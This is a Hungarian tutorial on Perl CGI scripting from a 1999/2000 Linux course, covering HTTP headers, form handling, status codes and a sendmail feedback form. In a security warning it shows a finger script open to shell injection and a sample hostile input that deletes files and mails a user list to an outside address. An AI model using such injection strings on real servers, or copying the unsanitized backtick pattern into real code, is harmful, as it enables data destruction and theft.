GET /dir/homepage.html HTTP/1.0 Accept: text/html Accept: image/gif User-Agent: Lynx/2.4 libwww/2.14A legutolsó sor végére tesz még egy üres sort. A legfontosabb ezek közül az első sor. A web szerver innen tudja, hogy melyik fájlt kell elküldeni. Amennyiben megtalálja, valami ilyesmit válaszol:
HTTP/1.0 200 OK Date: Tuesday, 25-January-2000 19:27:00 GMT Server: Apache/1.0 MIME-version: 1.0 Content-type: text/html Content-Length: 123 <HTML><HEAD>My homepage</HEAD> <BODY>Welcome to my homepage</BODY> </HTML>Hogyan tudnánk elérni, hogy a programunk ebbe a mechanizmusba beleszóljon? Erre találták ki a CGI-t. A web szerveren be tudjuk állítani, hogy bizonyos könyvtárak, illetve bizonyos kiterjesztések esetén ne a fájl tartalmát küldje el, hanem futtassa le azt, és a standard outputra írt adatokat küldje el.
AddType application/x-httpd-cgi .cgi Options ExecCGIEttől kezdve az Apache tudni fogja, mit kell tennie az adott könyvtárban .cgi-re végződő fájlokkal.
#!/usr/bin/perl print "Content-type: text/plain","\n\n" ; $pontosido = `/bin/date` ; print "Udvozollek! A pontos ido : " , $pontosido , "\n" ; exit (0) ;Mi is történik itt?
text/plain: Egyszerű szöveg text/html: HTML oldal image/gif, image/jpeg, stb: kép ...A "Content-type"-on kívül még írhatunk néhány paramétert (ezekről később), a lényeg, hogy az egészet egy üres sor (\n) zárja le!
#!/usr/bin/perl $counter="counter.dat"; print "Content-type: text/plain", "\n\n"; open(FILE, $counter) || die "Nem tudok olvasni a szamlalo-fajlbol.\n"; flock(FILE,2); $visitors=<FILE>; flock(FILE,8); close(FILE); $visitors++; open(FILE,">" . $counter) || die "Nem tudok irni a szamlalo-fajlba.\n"; flock(FILE,2); print FILE $visitors; flock (FILE,8); close(FILE); print " $visitors \n\n"; exit(0);
| SERVER_NAME | Szerver hostname/IP cím |
| REQUEST_METHOD | Az oldal lekérésének módja, bővebben erről majd a formoknál |
| PATH_INFO | Ha van egy CGI programunk (/cgi-bin/prg.cgi), akkor arra a kliens az alábbi módon is hivatkozhat: GET /cgi-bin/prg.cgi/dir1/dir2/stb. Ekkor ez a változó a "/dir1/dir2/stb" értéket fogja tartalmazni. Így egy könyvtár vagy fájl nevét adhatjuk át paraméterként a programnak. |
| QUERY_STRING | Ha a GET /cgi-bin/prg.cgi?param hivatkozással próbált a kliens adatot kérni, a kérdőjel utáni szöveg kerül ide. Helyes lenne a GET /cgi-bin/prg.cgi/dir1/dir2/stb?param is, ekkor PATH_INFO-t is kapnánk. |
| REMOTE_HOST | A kliens hostja. általában nem látjuk, ez a szerver beállításától függ. |
| REMOTE_IP | A kliens IP címe, ezt mindig lekérdezhetjük |
| CONTENT_TYPE, CONTENT_LENGTH | Ha a kliens küld valamilyen adatot (újabb browserekkel például fájlokat tölthetünk fel ilyen módon), annak a típusa és hossza |
| HTTP_ACCEPT | Milyen típusú adatokat képes a böngésző értelmezni |
| HTTP_USER_AGENT | A böngésző neve, verziószáma |
<HTML> <HEAD><TITLE>Elso urlap</TITLE></HEAD> <BODY BGCOLOR="#7F7F7F"> <CENTER> <FORM ACTION="/cgi-bin/form.cgi" METHOD="GET"> Vezetéknév: <BR><INPUT TYPE="text" NAME="vezeteknev" SIZE=20> <P> Keresztnév: <BR><INPUT TYPE="text" NAME="keresztnev" SIZE=20> <P> <INPUT TYPE="submit" VALUE="Mehet"><INPUT TYPE="reset" VALUE="Mégsem"> </FORM> </CENTER> </BODY></HTML>Ezt a Netscape az alábbi módon jeleníti meg:

A SUBMIT típusú gomb megnyomása után a FORM tag ACTION kulcsszava után
megadott címet próbálja a böngésző elérni. A paramétert úgy adja át, hogy a
címhez hozzáilleszt egy kérdőjelet, és a paramétereket.
Ha a fenti formba
beírjuk mondjuk azt, hogy Olajos Alajos, akkor az a
/cgi-bin/form.cgi?vezeteknev=Olajos&keresztnev=Alajos címet próbálja a
böngésző letölteni. Próbáljuk kiértékelni az adatokat!
#!/usr/bin/perl
print "Content-type: text/html","\n\n" ;
print "" , "\n" , "" , "\n";
$query = $ENV{'QUERY_STRING'};
($param1, $param2) = split (/&/, $query);
($id1,$val1) = split (/=/, $param1);
($id2,$val2) = split (/=/, $param2);
print "A kapott paraméterek:
" , "\n" , $id1 , " = " , $val1 , "
" , $id2 , " = " , $val2 , "\n";
print "";
exit (0) ;
A paraméterben előforduló speciális karaktereket a böngésző kódolva küldi. A space helyett + jelet, az egyéb speciális karakterek helyett azok hexadecimális kódját kapjuk, % jellel a szám előtt.
<FORM ACTION="/cgi-bin/form.cgi" METHOD="POST"> ... </FORM>A POST metódus azt jelenti, hogy a böngésző nem a GET valami.cgi?paraméterek parancsot küldi, hanem POST valami.cgi, és a fejléc után kapjuk meg a paramétereket.
#!/usr/bin/perl
$user = $ENV {QUERY_STRING}
print "Content-type: text/html" , "\n\n";
print `/usr/bin/finger $user`;
Itt a CGI-t x.cgi?username módon kell meghívni, és válaszul az adott
ember finger infóját küldi el. De mi van, ha egy gonosz látogató az alábbi
sort adja paraméterül: ;rm *;mail -s "Itt jon a juzerlista" en@mail.cimem.hu > /etc/passwdBizony, ennek csúnya vége lesz!
print "Content-type: text/html" , "\n"; print "Content-length: 28" , "\n\n"; ...Státusz kódok
200 - Success 204 - No Response 301 - Document Moved 400 - Bad Request 401 - Unauthorized 403 - Forbidden 404 - Not Found 500 - Internal Server Error 501 - Not ImplementedEgy példa a használatra:
print "Content-type: text/plain" , "\n"; print "Status: 400 Bad Request" , "\n\n"; print "Szerdan nem dolgozom!"A legfontosabb ezek közül talán a 204-es. Ha ezt küldjük el, a browser nem csinál semmit!
print "Content-type: text/html" , "\n"; print "Pragma: no-cache" , "\n\n"; ...Ekkor a böngésző minden egyes megjelenítéskor újra tölti a lapot. De van egy másik megoldás is. Ha a lapon lévő információk egy bizonyos időpontig érvényesek, akkor a következő módon kell eljárnunk:
print "Content-type: text/html" , "\n"; print "Expires: Monday, 31-Jan-2000 17:17:17 GMT" , "\n\n"; ...átirányítás
print "Location: /thanks.html" , "\n\n";
A működéséről talán annyit, hogy ha GET metódussal hívódik (azaz egy sima link mutat rá), akkor kirajzolja csak a kérdőívet, míg POST-nál kiértékeli a kapott adatokat, majd elküldi a levelet. Mivel a sendmail közvetlenül hívódik, nem kell bajlódni a "gonosz" karakterekkel.
#!/usr/bin/perl
$webmaster = "webmaster\@domain\.com";
$subject = "Megjegyzes a honlappal kapcsolatban";
$request_method = $ENV{'REQUEST_METHOD'};
$sendmail = "/usr/lib/sendmail -t -n";
if ($request_method eq "GET")
{
&mailform();
}
else
{
&get_params(*MAIL);
if ( (!$MAIL{'name'}) || (!$MAIL{'email'}) )
{
&hiba(500, "HIBA!", "Szükség van a feladó adataira!");
}
else
{
&send_mail();
&uzenet();
}
}
exit(0);
sub mailform
{
print "Content-type: text/html", "\n\n";
print <<MAILFORM;
<HTML>
<HEAD><TITLE>Uzenet a webmesternek</TITLE></HEAD>
<BODY>
<H1>Üzenet a webmesternek</H1>
<P>
<FORM METHOD="POST">
<PRE>
Címzett: $webmaster
Téma: $subject
Feladó: <INPUT TYPE="text" NAME="name" SIZE=40>
E-Mail: <INPUT TYPE="text" NAME="email" SIZE=40>
<P>
<TEXTAREA ROWS=10 COLS=60 NAME="message" WRAP=VIRTUAL></TEXTAREA>
</PRE>
<INPUT TYPE="submit" VALUE="Mehet">
<INPUT TYPE="reset" VALUE="Törlés">
</FORM>
</BODY></HTML>
MAILFORM
}
sub send_mail
{
open (SENDMAIL, "| $sendmail");
print SENDMAIL <<MAILVEG;
From: $MAIL{'name'} <$MAIL{'email'}>
To: $webmaster
Reply-To: $MAIL{'email'}
Subject: $subject
X-Remote-Host: $ENV{'REMOTE_ADDR'}
$MAIL{'message'}
MAILVEG
close (SENDMAIL);
}
sub uzenet
{
print <<UZENET;
<HTML>
<HEAD><TITLE>Elkuldve</TITLE></HEAD>
<BODY>
Az üzenetet postáztam a webmesternek!
</BODY></HTML>
UZENET
}
sub hiba
{
local ($status, $ok, $magyarazat) = @_;
print "Content-type: text/html", "\n";
print "Status: ", $status, " ", $ok, "\n\n";
print <<ERROR;
<TITLE>MAILER HIBA!</TITLE>
<H1>Hiba!</H1>
<H1>$magyarazat</H1>
ERROR
exit(1);
}
sub get_params
{
local (*param) = @_;
local ($query,@parok,$par,$nev,$ertek);
$query = <STDIN>;
@parok = split ( /&/ , $query );
foreach $par (@parok)
{
( $nev , $ertek ) = split (/=/, $par);
$ertek =~ tr/+/ /;
$ertek =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
$param{$nev} = $ertek;
}
}
No és persze rengeteg tapasztalat
Hasznos linkek
Web szerver információk
NCSA httpd
CERN Server
Apache Server
A készítőkről
Ezt az oldalt Vizsy Krisztián és Szabó Viktor készítette a Linux
haladó specire, az 1999/2000-es tanév első félévében.